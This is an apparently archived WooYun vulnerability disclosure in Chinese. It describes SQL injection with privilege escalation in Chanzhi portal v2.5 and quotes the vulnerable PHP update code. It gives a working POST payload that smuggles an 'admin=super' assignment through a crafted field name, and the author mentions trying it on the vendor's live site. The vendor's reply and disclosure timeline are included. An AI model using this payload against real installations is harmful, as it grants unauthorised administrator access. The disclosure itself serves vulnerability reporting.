当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-071504

漏洞标题:蝉知企业门户系统 v2.5 sql 注入至管理员。

相关厂商:chanzhi.org

漏洞作者: roker

提交时间:2014-08-09 20:29

修复时间:2014-11-07 20:30

公开时间:2014-11-07 20:30

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-09: 细节已通知厂商并且等待厂商处理中
2014-08-12: 厂商已经确认,细节仅向厂商公开
2014-08-15: 细节向第三方安全合作伙伴开放
2014-10-06: 细节向核心白帽子及相关领域专家公开
2014-10-16: 细节向普通白帽子公开
2014-10-26: 细节向实习白帽子公开
2014-11-07: 细节向公众公开

简要描述:

rt
这代码看着有点蛋疼。不熟悉啊。。

详细说明:

问题出在 用户修改资料的地方
/system/module/user/control.php

public function edit($account = '')
{
if(!$account or RUN_MODE == 'front') $account = $this->app->user->account;
if($this->app->user->account == 'guest') $this->locate(inlink('login'));
if(!empty($_POST))
{
$this->user->update($account);
.......


跟进updata
/system/module/user/model.php

public function update($account)
{
/* If the user want to change his password. */
if($this->post->password1 != false)
{
$this->checkPassword();
if(dao::isError()) return false;
$password = $this->createPassword($this->post->password1, $account);
$this->post->set('password', $password);
}
$user = fixer::input('post')
->cleanInt('imobile, qq, zipcode')
->setDefault('admin', 'no')
->remove('ip, account, join, visits')
->removeIF(RUN_MODE != 'admin', 'admin')
->get();
return $this->dao->update(TABLE_USER)
->data($user, $skip = 'password1,password2')
->autoCheck()
->batchCheck($this->config->user->require->edit, 'notempty')
->check('email', 'email')
->check('email', 'unique', "account!='$account'")
->checkIF($this->post->gtalk != false, 'gtalk', 'email')
->where('account')->eq($account)
->exec();
}


fixer这个类的代码有点长就不贴了,看上面的代码也能大概看得懂它的作用。。
普通用户和管理员是在一个表的,的区别就是 admin字段。
总之对我们post的数据做了 foreach然后带入了 updata
当然他 有remove admin的,可是这太好绕过了。
直接看利用吧~
注册用户后 来到
http://localhost/user-edit.html修改资料
改包
post如下数据

realname=aaaaaa&email=a%40qqqq.com&password1=&password2=&company=&address=&zipcode=&mobile=&phone=&qq`%3D1,`admin=super&gtalk=


即可提升成为管理员。
可以看mysql的日志

1.jpg


漏洞证明:

1.jpg


官网测试了下,可惜后台改了。
不出意外,应该提升了 用户名为 testwooyun 的用户 为管理员了~

修复方案:

不要放在一个表里。

版权声明:转载请注明来源 roker@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-08-12 17:00

厂商回复:

会影响到打开会员功能模块的站点。近期会发布版本修正该问题。谢谢。

最新状态:

暂无